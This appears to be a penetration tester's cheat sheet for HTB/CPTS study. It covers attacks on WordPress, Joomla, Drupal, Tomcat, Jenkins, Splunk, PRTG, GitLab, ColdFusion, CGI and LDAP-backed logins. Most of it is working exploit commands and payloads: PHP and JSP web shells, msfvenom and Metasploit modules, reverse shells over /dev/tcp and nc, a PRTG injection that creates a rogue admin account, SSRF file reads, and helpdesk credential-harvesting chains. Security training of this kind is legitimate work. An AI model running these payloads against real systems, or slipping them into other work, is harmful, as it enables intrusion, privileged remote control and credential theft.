# 1) Admin -> Appearance -> Theme Editor -> edit an INACTIVE theme's 404.php:  system($_GET[0]);
curl "http://$DOMAIN/wp-content/themes/twentynineteen/404.php?0=id"
# same thing automated (uploads a malicious plugin, self-cleans on exit):
msfconsole -q -x "use exploit/unix/webapp/wp_admin_shell_upload; set RHOSTS $IP; set USERNAME $U; set PASSWORD $P; set LHOST $LHOST; run"

# 2) mail-masta unauth LFI (no creds needed, plugin dead since 2016 but still found)
curl -s "http://$DOMAIN/wp-content/plugins/mail-masta/inc/campaign/count_of_send.php?pl=/etc/passwd"

# 3) wpDiscuz CVE-2020-24186 unauth upload RCE
python3 wp_discuz.py -u http://$DOMAIN -p /?p=1
curl -s "http://$DOMAIN/wp-content/uploads/2021/08/<uploaded>.php?cmd=id"

[!warning] Watch out

  • Edit an inactive theme’s 404.php, not the live theme — you won’t visibly break the site, and the shell still executes on direct request.
  • Use a non-obvious param name (an md5, not cmd) so a drive-by can’t reuse your shell during the assessment window.
  • Admin on WordPress is RCE via the Theme Editor — no extra exploit needed once you have creds. Automated scanners miss plugins; always curl | grep the source too.

Joomla → Template Customise shell / dir-traversal

What to look forgenerator meta = “Joomla!”, /administrator/ login, robots.txt Joomla paths. Login page returns a generic error → no username-enum oracle, brute the known admin account only.

Enumerate / fingerprint version

curl -s http://$DOMAIN/ | grep Joomla
curl -s http://$DOMAIN/administrator/manifests/files/joomla.xml | xmllint --format -   # exact <version>
curl -s http://$DOMAIN/plugins/system/cache/cache.xml            # fallback version leak
droopescan scan joomla --url http://$DOMAIN/

Exploit / Attack

# brute the admin account (generic-error login = single known user, password list)
python3 joomla-brute.py -u http://$DOMAIN -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

# post-auth: Configuration -> Templates -> protostar -> Customise -> edit error.php
#   system($_GET['<md5>']);
curl -s "http://$DOMAIN/templates/protostar/error.php?<md5>=id"

# pre-auth alt (auth'd core dir-trav, Joomla 1.5.0-3.9.4)
python2.7 joomla_dir_trav.py --url "http://$DOMAIN/administrator/" --username admin --password admin --dir /

[!warning] Watch out

  • Joomla’s login error is deliberately generic — the WordPress user-enum trick does not work here; brute admin with a password list, not a combined spray.
  • CVE-2019-10945 can delete directories — file deletion is destructive, avoid on a live engagement.

Drupal → PHP Filter / backdoored module / Drupalgeddon

What to look for → “Powered by Drupal”, /node/<id> URIs, CHANGELOG.txt. Admin RCE is not a one-click theme editor here — it needs the PHP Filter module or a backdoored module upload.

Enumerate

curl -s http://$DOMAIN | grep -i Drupal
curl -s http://$DOMAIN/CHANGELOG.txt | grep -m2 ""      # newer Drupal blocks this by default
droopescan scan drupal -u http://$DOMAIN                # best-maintained scanner for Drupal modules+version

Exploit / Attack

# Drupal 7: Modules -> enable "PHP filter" -> Add content -> Basic page (Text format: PHP code):
#   <?php system($_GET['<md5>']); ?>
curl -s "http://$DOMAIN/node/3?<md5>=id"
# Drupal 8+: PHP filter removed from core -> download+install manually, then identical

# any version: bundle shell.php + .htaccess (re-enable /modules access) into a real module tarball, upload via Extend
curl -s "http://$DOMAIN/modules/captcha/shell.php?<md5>=id"

# pre-auth SQLi -> rogue admin (Drupalgeddon, 7.0-7.31)
python2.7 drupalgeddon.py -t http://$DOMAIN -u hacker -p pwnd
msfconsole -q -x "use exploit/multi/http/drupal_drupageddon; set RHOSTS $IP; run"     # cleaner
# pre-auth RCE (Drupalgeddon2, <7.58/<8.5.1) — patch PoC to drop a base64 PHP shell instead of hello.txt
python3 drupalgeddon2.py && curl "http://$DOMAIN/mrb3n.php?<md5>=id"
# authenticated RCE (Drupalgeddon3, needs a session cookie w/ node-delete rights)
msfconsole -q -x "use exploit/multi/http/drupal_drupageddon3; set RHOSTS $IP; set VHOST $DOMAIN; set DRUPAL_SESSION <SESS..=..>; set DRUPAL_NODE 1; set LHOST $LHOST; run"

[!warning] Watch out

  • A 404 on CHANGELOG.txt does not rule out Drupal (newer installs block it) — fall back to droopescan.
  • Drupalgeddon3 needs a valid drupal_session cookie and node-delete permission on the referenced DRUPAL_NODE.
  • PoC scripts are Python 2 / EOL — prefer the Metasploit modules to avoid a legacy interpreter.

Tomcat → /manager WAR deploy (msfvenom war)

What to look forServer: Apache Tomcat, /docs default page, /manager + /host-manager (302), AJP on :8009. WAR deploy needs the manager-gui/manager-script role.

Enumerate

curl -s http://$IP:8080/docs/ | grep Tomcat            # version via /docs or Server header
feroxbuster -u http://$IP:8080/ -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt -t 50
# brute manager (msf ships tomcat_mgr_default wordlists: tomcat:tomcat, admin:admin, tomcat:s3cret...)
msfconsole -q -x "use auxiliary/scanner/http/tomcat_mgr_login; set RHOSTS $IP; set RPORT 8080; set stop_on_success true; run"

Exploit / Attack

# hand-rolled: WAR = zip. wrap the staged JSP web shell (attachments/rp-shell.jsp), deploy via Manager GUI
cp attachments/rp-shell.jsp cmd.jsp
zip -r backup.war cmd.jsp
# Manager -> Browse backup.war -> Deploy
curl "http://$IP:8080/backup/cmd.jsp?cmd=id"

# interactive: msfvenom reverse-shell WAR (skip the web shell)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=$LHOST LPORT=443 -f war > backup.war
# or fully automate deploy+shell once creds are known:
msfconsole -q -x "use exploit/multi/http/tomcat_mgr_upload; set RHOSTS $IP; set RPORT 8080; set HttpUsername tomcat; set HttpPassword admin; set LHOST $LHOST; run"

# Ghostcat unauth AJP LFI (Tomcat <9.0.31/8.5.51/7.0.100) — reads files UNDER webapps/ only
python2.7 tomcat-ajp.lfi.py $IP -p 8009 -f WEB-INF/web.xml

# CVE-2019-0232 CGI cmd-inject (Windows Tomcat, enableCmdLineArguments) — URL-encode : and \
ffuf -w /usr/share/dirb/wordlists/common.txt -u http://$IP:8080/cgi/FUZZ.bat
curl "http://$IP:8080/cgi/welcome.bat?&c%3A%5Cwindows%5Csystem32%5Cwhoami.exe"

[!warning] Watch out

  • Deployed WAR app lives at /<archive-name-without-.war>/ — miss that and you’ll 404 your own shell. Undeploy it after use.
  • Manager creds go as HTTP Basic (Authorization: Basic <b64 user:pass>) — echo <b64> | base64 -d to read them off the wire.
  • Ghostcat is scoped to webapps/ — it’s config/route leakage (WEB-INF/web.xml), not arbitrary filesystem read.

Jenkins → Groovy Script Console RCE

What to look for → Jenkins login page on :8080, /script console. Check anonymous read/build first — misconfigured anon JOB-create/BUILD rights is more common than a legacy CVE.

Enumerate

curl -s http://$IP:8080/login | grep -i jenkins
# /script is reachable once authenticated (even weakly) OR if anon perms are misconfigured

Exploit / Attack — Manage Jenkins → Script Console, paste Groovy

// run a single command
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'id'.execute()
proc.consumeProcessOutput(sout, serr); proc.waitForOrKill(1000); println sout

// reverse shell (Linux) — raw process array avoids Groovy quoting hell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/$LHOST/8443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

// Windows
println("cmd.exe /c dir".execute().text)
nc -lvnp 8443

[!warning] Watch out

  • Jenkins commonly runs as root/SYSTEM → this console shell is an immediate privileged foothold, no local priv-esc.
  • The chained CVE-2018-1999002 + CVE-2019-1003000 sandbox-bypass pre-auth RCE was fixed by LTS 2.303.1 — confirm the version before relying on it; treat as historical.

Splunk → custom app scripted-input reverse shell

What to look forSplunkd httpd on :8000 (web) + :8089 (mgmt). No CVE needed — abuse built-in scripted inputs. Expired Enterprise trial silently drops to auth-free Free edition after 60 days.

Enumerate

nmap -sV -p 8000,8089 $IP        # both "Splunkd httpd" = definitive
# try admin:changeme (older default, shown on login page), then admin/Welcome1/Password123

Exploit / Attack — build & upload a malicious app

mkdir -p splunk_shell/bin splunk_shell/default
# default/inputs.conf  (interval is MANDATORY or it never fires)
cat > splunk_shell/default/inputs.conf <<'EOF'
[script://./bin/rev.py]
disabled = 0
sourcetype = shell
interval = 10
EOF
# bin/rev.py  (Linux — every full Splunk ships Python) OR run.bat+.ps1 for Windows:
#   PowerShell.exe -exec bypass -w hidden -Command "& '%~dpn0.ps1'"
tar -cvzf updater.tar.gz splunk_shell/
nc -lvnp 443
# Manage Apps -> Install app from file -> updater.tar.gz -> Upload  (fires within `interval` s)

[!warning] Watch out

  • App is enabled the instant it uploads — listener up first. Shell runs as the Splunk service account (often SYSTEM/root).
  • Compromised deployment server? Drop the app in $SPLUNK_HOME/etc/deployment-apps → RCE on every Universal Forwarder that checks in. Forwarders lack Python → use a PowerShell scripted input in a Windows fleet.

PRTG → CVE-2018-9276 notification command injection

What to look forIndy httpd … Paessler PRTG bandwidth monitor on :8080. Default prtgadmin:prtgadmin is often pre-filled and unchanged. Vulnerable < 18.2.39.

Enumerate

nmap -sV -p- --open -T4 $IP
curl -s "http://$IP:8080/index.htm" -A "Mozilla/5.0 (compatible; MSIE 7.01; Windows NT 5.0)" | grep -i version

Exploit / Attack (authenticated, blind)

Setup -> Account Settings -> Notifications -> Add new notification
  Tick EXECUTE PROGRAM
  Program File: Demo exe notification - outfile.ps1
  Parameter: test.txt;net user prtgadm1 Pwn3d_by_PRTG! /add;net localgroup administrators prtgadm1 /add
Save -> click Test
# confirm out-of-band (blind inject = no UI feedback)
nxc smb $IP -u prtgadm1 -p 'Pwn3d_by_PRTG!'      # (Pwn3d!) = local admin

[!warning] Watch out

  • The Parameter field is concatenated unsanitised into a PowerShell call — the ; chains your command. It’s blind: confirm via a listener or the new admin account, PRTG shows nothing.
  • Scheduling the notification (vs Test) doubles as persistence. Prefer a reverse shell over net user on a real engagement to cut footprint.

osTicket / helpdesk → email harvest + credential reuse (methodology)

What to look forOSTSESSID cookie, “powered by osTicket” footer. Nmap only sees the webserver, not the app. Few CVEs — this is a process attack (the HTB Delivery pattern), applies to Zendesk/Freshdesk/Jira SD too.

Attack chain

1) Submit a support ticket -> you're handed a real company reply-to email (e.g. 1234567@osticket.inlanefreight.local)
2) Use that verified address to self-register on OTHER exposed portals (Mattermost, GitLab, Rocket.Chat)
3) Cross-ref the email domain against breach data:
      python3 dehashed.py -q inlanefreight.local -p
4) Try leaked creds on the portal login (email AND username — kevin@… may work where kgrimes doesn't)
5) Read closed tickets: password resets, VPN issues, "standard new-joiner password" -> spray other services

[!tip] Address-book export = ready-made spray list Export the helpdesk contact/address book in full — it’s a validated username/email list. Build spray targets from employee names with linkedin2username. A “standard new joiner password” mentioned in a ticket is a strong spray candidate if policy doesn’t force a change at first login.


GitLab → self-register → repo secrets / ExifTool RCE

What to look for → GitLab login/logo; /explore lists public projects with no auth; version only shows on /help post-auth. Highest-value first check: is self-registration on?

Enumerate

# public source/secrets before you even have an account
curl -s http://$IP:8081/explore
# username enum via registration oracle ("Email has already been taken") — works even if signup is disabled
./gitlab_userenum.sh --url http://$IP:8081/ --userlist users.txt   # or the maintained py3 port

Exploit / Attack

# register (hacker:Welcome1) -> browse /explore for internal projects -> mine repos/commits/snippets for:
#   hardcoded creds, committed SSH private keys, infra config
# authenticated RCE, CE <= 13.10.2 (ExifTool image-metadata parsing) -> shell as git
python3 gitlab_13_10_2_rce.py -t http://$IP:8081 -u mrb3n -p password1 \
  -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $LHOST 8443 >/tmp/f'
nc -lvnp 8443

[!warning] Watch out

  • GitLab lockout = 10 failed attempts, 10-min auto-unlock, not UI-configurable — pace credential attacks across the user list to avoid locking real accounts.
  • Confirm the exact CE/EE build: CVE-2021-22205 is the unauth ExifTool RCE in a slightly later range — different exploit, different version gate.

ColdFusion → dir-traversal creds / FCKeditor unauth RCE

What to look for → port :8500, .cfm/.cfc extensions, /CFIDE/administrator/, Server: ColdFusion/X-Powered-By: ColdFusion. Both CVEs are CF 8/9-era.

Enumerate

nmap -p- -sC -Pn $IP --open           # 8500/tcp fmtp + CFIDE/cfdocs in webroot = ColdFusion
# browse http://$IP:8500/CFIDE/administrator  -> version in page title/source
searchsploit adobe coldfusion

Exploit / Attack

# CVE-2010-2861 dir-trav (<=9.0.1) -> leak encrypted datasource creds
python2 14641.py $IP 8500 "../../../../../../../../ColdFusion8/lib/password.properties"

# CVE-2009-2265 FCKeditor unauth file-upload RCE (<=8.0.1) -> JSP payload, ColdFusion-service shell
python3 50057.py        # sets lhost/lport/rhost/rport, uploads JSP, triggers, self-cleans

[!warning] Watch out

  • password.properties values are encrypted, not plaintext — still high-value (every datasource: DB, mail, LDAP), but you’ll need to crack/decrypt.
  • FCKeditor connector path: /CFIDE/scripts/ajax/FCKeditor/editor/filemanager/connectors/cfm/upload.cfm — check it on any legacy CF regardless of the CVE number.

CGI / Shellshock (CVE-2014-6271) → User-Agent RCE

What to look for → a cgi-bin/ dir with .cgi/.sh/.pl scripts. A 200 with zero-length body is still worth testing. Persists on embedded/IoT gear.

Enumerate

feroxbuster -u http://$IP/cgi-bin/ -w /usr/share/wordlists/dirb/small.txt -t 50 -x cgi,sh,pl
# local bash sanity check for the bug shape:
env y='() { :;}; echo vuln' bash -c "echo test"    # prints 'vuln' on a vulnerable bash

Exploit / Attack — inject via the User-Agent header

# confirm (two echoes = clean HTTP separator before output)
curl -H 'User-Agent: () { :; }; echo; echo; /bin/cat /etc/passwd' http://$IP/cgi-bin/access.cgi
# reverse shell
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/$LHOST/7777 0>&1' http://$IP/cgi-bin/access.cgi
nc -lvnp 7777

[!warning] Watch out

  • Any header CGI maps into an env var is an injection point — User-Agent is classic, but Referer and Cookie work too.
  • Patched bash prefixes function definitions with BASH_FUNC_, breaking the exploit — one request confirms/denies, cheap to test on every cgi-bin.

IIS short-name (~) tilde enumeration

What to look forMicrosoft IIS httpd (7.5/8.x era). Vulnerability depends on config, not just version — always run the scanner’s own check. Turns “guess the full filename” into “reconstruct 8 chars at a time”.

Enumerate → recover

nmap -p- -sV -sC --open $IP           # confirm IIS
java -jar iis_shortname_scanner.jar 0 5 http://$IP/   # reports Vulnerable + partial names (TRANSF~1.ASP)
# build a targeted wordlist from the partial short name, then fuzz full name + real extension
egrep -rh '^transf' /usr/share/wordlists/* | sort -u > /tmp/list.txt
feroxbuster -u http://$IP/ -w /tmp/list.txt -t 50 -x aspx,asp

[!tip] Why it’s worth the setup Some recovered names resolve whole (CSASPX~1.CS); others (TRANSF~1.ASP) only give a 6-char prefix + extension — the wordlist-narrowing pass recovers the rest. It’s the difference between brute-forcing every filename vs only words starting transf. Needs Oracle Java for the .jar; the 0 5 args tune threads (Enter to skip proxy).


LDAP-backed login → wildcard injection + mass assignment

What to look for389/636 open beside a web login form = likely LDAP-backed auth (not a SQL user table). Injection mirrors SQLi: * = any-chars, () group, &/| logic.

Enumerate

nmap -p- -sC -sV --open --min-rate=1000 $IP     # 389 ldap OpenLDAP next to 80 http = strong signal
# query directly if you have a bind DN:
ldapsearch -H ldap://$IP:389 -D "cn=admin,dc=example,dc=com" -w secret -b "dc=example,dc=com" "(objectClass=*)"

Exploit / Attack

# LDAP injection auth-bypass — filter (&(objectClass=user)(sAMAccountName=$u)(userPassword=$p)) becomes all-true
Username: *
Password: *

# Mass assignment — add a field the form never exposed to flip a privilege/approval flag
POST /register
username=new&password=test&confirmed=test        # existence-only check -> bypass admin approval
# Rails equivalent: smuggle  user[admin]=true  into the params hash the controller doesn't strip

[!warning] Watch out

  • Both are best confirmed by reading source — black-box guessing is far less reliable. Look for include()-style string concat into the LDAP filter, or attr_accessible/over-broad permit! in Rails.
  • LDAP special chars that don’t URL-encode cleanly can break the filter — test * alone first, then build up (cn=*)/(objectClass=*).

🧩 More Web Classes — PDF-Renderer SSRF · Thick Clients · Mass-Assignment · Helpdesk OSINT

The CPTS/AEN web classes the automated scanners miss. Each is a distinct pattern worth recognising on sight.

Server-side HTML→PDF renderer → SSRF / local file read

What to look for → a feature that renders your input into a server-generated PDF/preview (invoices, tracking numbers, reports). If a wkhtmltopdf-class engine parses HTML and executes JS server-side, your input runs on the renderer host — not the victim’s browser (distinct from stored XSS).

Exploit — prove it in stages

<h1>test</h1>                                          <!-- 1. HTML parsed? -->
<script>document.write('JS-EXECUTED')</script>          <!-- 2. JS runs on the server's PDF worker? -->
<script>x=new XMLHttpRequest();x.open('GET','file:///etc/passwd',false);x.send();document.write(x.responseText)</script>
<script>x=new XMLHttpRequest();x.open('GET','http://127.0.0.1:8080/',false);x.send();document.write(x.responseText)</script>  <!-- internal SSRF -->

[!warning] Watch out — code executes in the server’s PDF worker, so file:// reads server files and http://127.0.0.1 hits internal services. Full staged PoC: Step 8 - Tracking HTML Injection to Local File Read Cheat Sheet.

Thick-client / fat-client apps (binary RE for creds)

What to look for → a downloadable .exe/.jar desktop client. Framework first (file client.exe, PE header, .NET,Version=v4.0 string), then decompile — hardcoded creds / DB connection strings are the payoff (the Multimaster pattern).

file thickclient.exe; strings64 thickclient.exe | grep -iE 'password|connectionstring|server='
# .NET → dnSpyEx (maintained dnSpy fork) + de4dot to deobfuscate; IL decompiles to near-original C#
# Java → jd-gui / jadx-gui client.jar ; patch a class → javac -cp client.jar Patched.java
# runtime: Sysinternals Procmon (file/registry), Frida (hook without full static), Wireshark/Burp on the TCP channel

[!tip] Three-tier thick clients still hit a backend DB directly → test the extracted connection for SQLi and path traversal. Deep dives: 12 - Attacking Thick Client Applications · 16 - Attacking Applications Connecting to Services.

More app targets + the transferable method

The method IS the payload (works on any product): fingerprint exact version/stack → try default/weak credssearch CVEs for that exact version → and regardless of CVE, abuse legitimate built-in functionality (script consoles, template/theme editors, custom-app upload, “run program” notification actions). Targets beyond the main table:

AppQuick win
Axis2default admin → upload malicious .aar service = web shell (Tomcat-WAR analogue)
WebSpheresystem:manager → deploy WAR → RCE
Nagios XIdefault nagiosadmin:PASSW0RD; multiple RCE/SQLi CVEs
Zabbixbuilt-in API abused for RCE (HTB Zipper)
WebLogicJava-deserialization unauth RCE (190+ CVEs)
Elasticsearchforgotten unauth instance (HTB Haystack)
vCenterCVE-2021-22005 unauth OVA-upload RCE — often runs as SYSTEM/DA
DotNetNuke (DNN)cleartext admin creds in web.config → SQL-console RCE

Deep dive: 17 - Other Notable Applications and Application Hardening.

Helpdesk / ticketing OSINT chain (osTicket-style)

What to look for → a support portal (OSTSESSID cookie, “Powered by osTicket” footer). Not a CVE — a human-error chain: submit a ticket → harvest the real assigned reply-to company email → self-register that verified address on other exposed services (GitLab/Mattermost/Slack) → read closed tickets for password resets / “standard new-joiner password” → export the address book as a username list → controlled spray against VPN/email/AD.

[!tip] Login pages that accept email OR username — try both (kevin@corp.local succeeded where kgrimes failed). This is the HTB Delivery pattern; generalises to Zendesk/Freshdesk/Jira Service Desk. Deep dive: 9 - Attacking osTicket.

Mass-assignment / autobinding parameter tampering

What to look for → a framework that blanket-binds the whole request body to a model. Add parameters that were never on the form so it sets fields it shouldn’t.

POST /register            username=me&password=x&confirmed=1          # bypasses admin-approval (key present = enough)
POST /register            username=me&password=x&role=admin           # or is_admin=1 / credit=
                          user[admin]=true                            # Rails-style nested param hash

[!tip] Find candidate fields by reading responses/JSON and reflecting them back into write requests. Deep dive: 15 - LDAP and Web Mass Assignment Vulnerabilities.


🥷 Detection & OPSEC summary (per technique)

TechniqueWhat defenders seeMitigation / cleanup
ffuf/feroxbuster/gobusterthousands of 404s, scanner UA, request-rate anomalytune -t/-rate, -H UA spoof, scope wordlists; expected noise on labs
niktoits UA and /nikto-test-style probes are signaturedspoof -useragent, narrow -Tuning
nucleitemplate paths + OAST callbacks to public interact servers-rl rate-limit, -ni on isolated nets, scope tags/severity
sqlmapsqlmap/x.x UA, long UNION/time payloads in logs, --risk=3 may modify data--random-agent, lowest working level/risk, never --os-shell without authorization to touch disk
hydra/medusaauth-failure bursts, account lockouts, SIEM impossible-travelspray breadth-first, throttle, -f stop-on-success
file uploadnew file in webroot (FIM tripwire), AV/EDR webshell signaturesrandom name, obfuscated param, delete when done
webshell userequests to a never-linked path; cmd= in logspassword-gate, POST over GET, HTTPS target preferred, remove artifact
log/session poisoningyour PHP payload written into access.log / session fileslast-resort technique; poisoned logs persist — note it in the report
SSRF/gopher/OOBegress to internal services and attacker infrause only your own callback infra; document every internal host touched
XSS cookie theftoutbound request from victim browser to your collectorHTTPS collector on HTTPS targets; the callback domain is in the victim’s browser log

[!warning] Reporting duty Every webshell, poisoned log, created account (PRTG net user, Drupal rogue admin) and uploaded file is an artifact you must list in the report and remove. The vault’s reporting toolchain notes live in 00 - Attack Flow Dashboard; webshell removal and transfer cleanup pair with 04 - Foothold Toolkit - File Transfers and 05 - Foothold Toolkit - Shells Payloads and Metasploit.

MITRE ATT&CK anchors used in this note: TA0043 Recon (T1595.002) · T1190 Exploit Public-Facing Application · T1078 Valid Accounts (default creds) · T1110 Brute Force · T1552 Unsecured Credentials (source leaks) · T1059 Command and Scripting Interpreter (webshells) · T1505.003 Web Shell.


[!navigation] Continue the attack flow Previous: Stage 01 — Recon and Host Discovery

Dashboard: HTB Pentest Attack Flow

Next: Foothold Toolkit — File Transfers